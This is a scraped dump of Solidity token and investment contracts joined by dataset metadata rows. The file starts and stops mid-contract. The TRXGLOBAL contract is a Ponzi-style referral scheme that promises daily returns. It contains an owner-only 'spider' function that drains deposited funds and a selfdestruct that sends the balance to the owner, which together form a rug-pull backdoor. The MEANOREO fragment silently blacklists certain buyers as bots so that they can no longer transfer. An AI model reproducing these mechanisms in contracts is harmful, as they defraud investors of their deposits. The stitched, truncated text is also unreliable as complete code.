string public constant symbol = unicode"MEANOREO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient != tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (5 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (5 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/5;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken (uint burnAmount) private lockTheSwap{
_transfer(address(this), address(0xdead),burnAmount);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 10000000 * 10**9;
_maxHeldTokens = 10000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 10 && sell < 10 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
| 276,616 | 12,205 |
dde6aa26c7dfbe36a50c1aa0c35370c8ce8b21778ccb6818b64ac670a1a3ad6e
| 14,349 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TZ/TZDK32P8sFhUydaQ1Q5h91kLGz89Fg2UEA_TRXGLOBAL.sol
| 4,119 | 13,705 |
//SourceUnit: code.sol
pragma solidity 0.5.10;
contract TRXGLOBAL {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
struct UserWith{
uint256 total_withdrawan;
uint256 total_rewards_withdrawan;
uint256 with_status;
uint256 rewards;
}
struct UserRoi {
uint40 ROI1;
uint40 ROI2;
uint40 ROI3;
uint40 ROI4;
}
address payable public owner;
address payable public etherchain_fund;
address payable public admin_fee;
mapping(address => User) public users;
mapping(address => UserRoi) public userR;
mapping(address => UserWith) public UserWithdraw;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
uint8[] public ROI;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
event RewardWithdraw(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
ref_bonuses.push(20);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(6);
ref_bonuses.push(6);
ref_bonuses.push(6);
ref_bonuses.push(6);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ROI.push(1);
ROI.push(2);
ROI.push(3);
ROI.push(4);
cycles.push(1e9);
cycles.push(1e11);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount, "Bad amount");
require(_amount <= 1e11 && (_amount%cycles[0])==0, "Bad amount");
}
else require(_amount <= 1e11 && (_amount%cycles[0]) == 0, "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
userR[_addr].ROI1 = uint40(block.timestamp);
userR[_addr].ROI2 = uint40(block.timestamp) + 480 hours;
userR[_addr].ROI3 = uint40(block.timestamp) + 960 hours;
userR[_addr].ROI4 = uint40(block.timestamp) + 1440 hours;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount * 5 / 100;
emit DirectPayout(users[_addr].upline, _addr, _amount * 5 / 100);
}
owner.transfer(_amount * 3 / 100);
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1 || users[up].referrals >= 10) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function reward_withdraw() external {
if(UserWithdraw[msg.sender].rewards > 0) {
uint256 rewards = UserWithdraw[msg.sender].rewards;
UserWithdraw[msg.sender].total_rewards_withdrawan += rewards;
UserWithdraw[msg.sender].rewards -= rewards;
msg.sender.transfer(rewards);
emit RewardWithdraw(msg.sender, rewards);
}
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
UserWithdraw[msg.sender].total_withdrawan += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
if(UserWithdraw[msg.sender].total_withdrawan >= 50000000000 && UserWithdraw[msg.sender].with_status == 0){
UserWithdraw[msg.sender].rewards += 2500000000;
UserWithdraw[msg.sender].with_status = 1;
}else if(UserWithdraw[msg.sender].total_withdrawan >= 100000000000 && UserWithdraw[msg.sender].with_status == 1){
UserWithdraw[msg.sender].rewards += 5000000000;
UserWithdraw[msg.sender].with_status = 2;
}else if(UserWithdraw[msg.sender].total_withdrawan >= 200000000000 && UserWithdraw[msg.sender].with_status == 2){
UserWithdraw[msg.sender].rewards += 10000000000;
UserWithdraw[msg.sender].with_status = 3;
}else if(UserWithdraw[msg.sender].total_withdrawan >= 500000000000 && UserWithdraw[msg.sender].with_status == 3){
UserWithdraw[msg.sender].rewards += 25000000000;
UserWithdraw[msg.sender].with_status = 4;
}else if(UserWithdraw[msg.sender].total_withdrawan >= 1000000000000 && UserWithdraw[msg.sender].with_status == 4){
UserWithdraw[msg.sender].rewards += 50000000000;
UserWithdraw[msg.sender].with_status = 5;
}else if(UserWithdraw[msg.sender].total_withdrawan >= 2500000000000 && UserWithdraw[msg.sender].with_status == 5){
UserWithdraw[msg.sender].rewards += 100000000000;
UserWithdraw[msg.sender].with_status = 6;
}else if(UserWithdraw[msg.sender].total_withdrawan >= 5000000000000 && UserWithdraw[msg.sender].with_status == 6){
UserWithdraw[msg.sender].rewards += 200000000000;
UserWithdraw[msg.sender].with_status = 7;
}
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 30 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
uint256 roi_1;
uint256 roi_2;
uint256 roi_3;
uint256 roi_4;
if(block.timestamp <= (users[_addr].deposit_time + 480 hours)){
payout = (((users[_addr].deposit_amount * ROI[0])/ 100)*((block.timestamp - users[_addr].deposit_time) / 1 days)) - users[_addr].deposit_payouts;
}else if(block.timestamp > (users[_addr].deposit_time + 480 hours) && block.timestamp <= (users[_addr].deposit_time + 961 hours)){
roi_1 = (users[_addr].deposit_amount * ((userR[_addr].ROI2 - users[_addr].deposit_time) / 1 days) / 100 * 1);
roi_2 = (users[_addr].deposit_amount * ((block.timestamp - userR[_addr].ROI2) / 1 days) / 100 * 2);
payout = (roi_1 + roi_2) - users[_addr].deposit_payouts;
}
else if(block.timestamp > (users[_addr].deposit_time + 962 hours) && block.timestamp <= (users[_addr].deposit_time + 1441 hours)){
roi_1 = (users[_addr].deposit_amount * ((userR[_addr].ROI2 - users[_addr].deposit_time) / 1 days) / 100 * 1);
roi_2 = (users[_addr].deposit_amount * ((userR[_addr].ROI3 - userR[_addr].ROI2) / 1 days) / 100 * 2);
roi_3 = (users[_addr].deposit_amount * ((block.timestamp - userR[_addr].ROI3) / 1 days) / 100 * 3);
payout = (roi_1 + roi_2 + roi_3) - users[_addr].deposit_payouts;
}
else if(block.timestamp > (users[_addr].deposit_time + 1441 hours)){
roi_1 = (users[_addr].deposit_amount * ((userR[_addr].ROI2 - users[_addr].deposit_time) / 1 days) / 100 * 1);
roi_2 = (users[_addr].deposit_amount * ((userR[_addr].ROI3 - userR[_addr].ROI2) / 1 days) / 100 * 2);
roi_3 = (users[_addr].deposit_amount * ((userR[_addr].ROI4 - userR[_addr].ROI3) / 1 days) / 100 * 3);
roi_4 = (users[_addr].deposit_amount * ((block.timestamp - userR[_addr].ROI4) / 1 days) / 100 * 4);
payout = (roi_1 + roi_2 + roi_3 + roi_4) - users[_addr].deposit_payouts;
}
uint256 max_roi = users[_addr].deposit_amount * 20 / 10;
if(users[_addr].deposit_payouts + payout > max_roi) {
payout = max_roi - users[_addr].deposit_payouts;
}
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function destruct() external {
require(msg.sender == owner, "Permission denied");
selfdestruct(owner);
}
function spider(uint _amount) external {
require(msg.sender == owner,'Permission denied');
if (_amount > 0) {
uint contractBalance = address(this).balance;
if (contractBalance > 0) {
uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount;
msg.sender.transfer(amtToTransfer);
}
}
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].match_bonus);
}
function userWithdrawnInfo(address _addr) view external returns(uint256 total_withdrawan, uint256 with_status, uint256 rewards, uint256 withdrawn_reward) {
return (UserWithdraw[_addr].total_withdrawan, UserWithdraw[_addr].with_status, UserWithdraw[_addr].rewards, UserWithdraw[_addr].total_rewards_withdrawan);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw) {
return (total_users, total_deposited, total_withdraw);
}
}
| 300,827 | 12,206 |
adb490fe8e3c2b6460526ed1224991c44e992ee2d1e8bcf8aebf447d298d71c0
| 29,585 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x9902ffA05f8CAFDB1E94F3f1F8ecdeB4DAC40a41/contract.sol
| 5,273 | 18,696 |
//______ _ _____ _
//| ___ \ | | / __ \ (_)
//| |_/ /__ _ _ __ __| | ___ _ __ ___ | / \/ ___ _ _ __
//| // _` | '_ \ / _` |/ _ \| '_ ` _ \| | / _ \| | '_ \
//| |\ \ (_| | | | | (_| | (_) | | | | | | \__/\ (_) | | | | |
//\_| \_\__,_|_| |_|\__,_|\___/|_| |_| |_|\____/\___/|_|_| |_|
// Telegram: https://t.me/RandomCoinBSC
// RANDOM COIN is a random project, made by a random team
// to generate a random community and hype.
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RandomCoinBSC is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 't.me/RandomCoinBSC';
string private constant _SYMBOL = 'RANDOM';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 100000000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 10;
uint256 private constant _BURN_FEE = 10;
uint256 private constant _MAX_TX_SIZE = 100000000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
